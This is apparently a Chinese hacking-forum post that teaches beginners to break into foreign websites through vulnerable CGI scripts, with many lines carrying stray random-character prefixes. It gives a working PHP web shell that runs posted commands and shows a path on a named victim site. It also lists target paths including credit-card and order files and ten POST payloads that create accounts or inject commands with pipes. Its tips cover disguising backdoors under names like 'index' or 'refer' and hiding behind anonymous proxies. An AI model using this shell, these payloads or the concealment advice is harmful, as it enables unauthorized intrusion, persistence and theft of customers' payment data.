CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
. |! p4 T- V7 V6 F# d5 c大家好 我是bboyhip  只是一名菜菜的exploiter
& _- e8 D, w% _2 E2 ?, r$ X很开心来到贵论坛
这里让我感觉 很有技术交流的感觉
% g, x; q( Q& M* p4 U我会长长来玩的
" a# [! j1 [  i8 P前言:
+ R/ w. t, H- \以下讲解针对欧美日本网站
" {6 w( s* H3 q; m7 n1 ]: n當我們在做滲透分析的時候 方法有很多
我门都知道 国外伺服器大多是linux 平台
' `5 T3 l" Z8 A7 g9 T所以有很多网站程序有6成都会使用cgi 脚本来管理
目录为/cgi-bin/
7 O/ {$ X: D/ N7 p
7 v, J6 e$ ^( G0 U8 W- V只是个人在实务上一些经验
写的不好 请多多见谅喔
在这里我简单分为几个部份一定要會的
讲解一下
让没有基础的人很容易上手
! W- u3 @4 s7 S
以下内容跟帖回复才能看到
+ V8 d/ k3 B5 v. A6 x4 E+ {==============================
! h0 S6 Z# I8 ?8 B" _
第1部份: 何谓Shell?
% M: C% a' Y0 BShell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
A shell is the program which reads user input from the command line and executes actions based upon that input.
意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.

# U. a) m2 N+ E3 O. e2 G对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.

第2部份: Unix 指令
, H5 M7 |/ A+ Z+ m以下是一些常见及重要的指令:
4 Y+ L6 H- E2 E- v) s3 l/ c5 fpwd: 显示当前目录, 即是後门/程式所在的位置
如 /home/www/site.com/cgi-bin/
+ O2 p/ H. u% l! |  \; L# qls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
ls -al :详细列出档案资料(当前目录)
+ Z3 a4 h& T; `ls /: 列出根目录
ls /etc: 列出/etc的资料夹及档案
ls ../ -al: 详细列出上一层的资料夹及档案
$ _/ \4 L; y. ^% Dcat: 显示档案内容
# e' R% Y" y; D. H/ |( o  @cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
who: 显示谁login 至系统
" K* z, x3 V# J* {6 B7 Cman: 显示指令用法  
# s, o/ O# e3 R. }! |2 k; s% |: lman ls: 显示ls这指令的用法  
mkdir 建立目录
rmdir 删除目录
5 s  n0 b2 a* |, s9 A* t& imv 移动档案
+ p7 o% R! @4 {" Q$ B! ~! _1 erm 删除档案
3 f) q- ]( r8 z& S, Q. Z
第3部份: Shell的使用
例如:
# v$ X0 Q0 r' p7 nhttp://site.com/refer.php
这是我的後门, 原代码如下:
<Form Action="#" Method="POST">
<Input type="text" name="cmd">
$ W" t$ K. C. L6 y; w! u; T! _<Input type="Submit">
* k% r6 Z. S* @, b3 f% D7 J1 s</Form>
# d8 l- [8 D2 c! j- N- {<?php
$cmd = $_POST['cmd'];
$Output = shell_exec($cmd);
echo $Output;
9 Q# f; M$ E! t2 R# g1 o5 n( D?>
% h+ U5 ?/ r' x3 r# F  y9 o输入pwd, 可得到绝对路径:
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com
6 |. D" ]; F6 C
4 w: p8 l- ~8 I, J第4部份: 注意事项
- 使用匿名代理, 保障自己
2 g2 z% S( e: i  W/ p* O  o- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
4 U. g. r0 A' J# z/ E- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
; u# Z: F/ y, ~7 u3 P$ d- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
/ s7 _2 S& J8 L8 h. P不容易被发现.
) `' M0 \+ {' {- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
9 m- k- z) |" D3 Z8 b6 ?1 {5 Q% {针对网站的渗透分析方法太多了
3 `/ f3 \# A: L0 }0 q, c. n+ l0 E这篇文章的重点是cgi 脚本攻击
所以我用简单的叙述形容
9 d5 N, Y: o6 Q' A1 o" y6 n2 _7 ~% M1 W开始讲解脚本入侵过程:
& v3 C3 w6 b. T( s6 U" w在这里提供一些方法思路让大家学习一下

1.一开始对一个网站进行cgi漏洞扫描
我们需要的东西有
, K/ ]' K5 Z/ L; M- D- `* K% H; r" `扫洞工具 如:triton..等等
- u0 W8 l. ~3 \$ pE表
如
5 G" N4 Y! u2 ?* c* `/cgi-bin/add-passwd.cgi
, g7 L# J$ G8 k- N/WebShop/templates/cc.txt
# n! a/ Y" J, [. G0 b4 E* i/Admin_files/order.log
/orders/mountain.cfg
: m' A7 J$ m& N- W# [/ ^/cgi-sys/cart.pl
/ }( Z: H7 q; G/scripts/cart.pl
! s" q& [/ m6 p# \/htbin/cart.pl
E表来源可以是网路收寻或是自己的0 day
; `9 u3 R6 V/ X
& X6 ^5 B. z( x- x: F2.怎样确认扫到的洞 是真的还假的?
举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
一般都是在IE里先看一下的,记住这个返回码哦
4 h. i8 u7 i5 `$ ^4 _ERROR:This script should be referenced with a METHOD of POST.
没有返回一定是假的
3.重来来了 很多人都会问我
2 S. w' r( l$ m3 D3 D0 {; W$ e他扫到很多洞 但是不会使用
% l% G; B4 X' c8 I0 ]. j& ~) C  t: C; ~因为这些漏洞 使用的语法 称为post
我们要找post 的方法很多
可以是源代码分析 找出介质
& \( O2 ?; u7 t/ _+ T5 H或是用抓包工具 抓他的语法...等等

& @4 A0 }" |. \( T以下我提供10个 cgi 洞以及使用方法post
让大家可以针对网站去做扫描  
6 G+ R) {8 m2 c6 L/index.cgi
- w. f8 ]/ j0 ?0 p" I4 X! k/ wwei=ren&gen=command
/passmaster.cgi
6 A& |7 u6 b5 u8 j. v4 \Action=Add&Username=Username&Password=Password
/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
/ e" H3 H) G/ [6 i0 S/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
' ]1 H6 _* S* ?1 F3 v/addusr.pl
' h( E* J3 H8 c6 f) c, p( n/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
/ccbill-local.asp
; R1 l" W3 C4 |- r) h/ ?post_values=username:password
& l% `4 k2 y* Z5 C- {/count.cgi
% a" S7 \% C6 apinfile=|echo;ls -la;exit|
/recon.cgi
/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|
/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
/af.cgi_browser_out=|echo;ls -la;exit;|
7 I5 i7 I% H& A+ z3 `
今天就讲到这  感谢大家支持
3 `4 c; H% B" r# r+ k0 O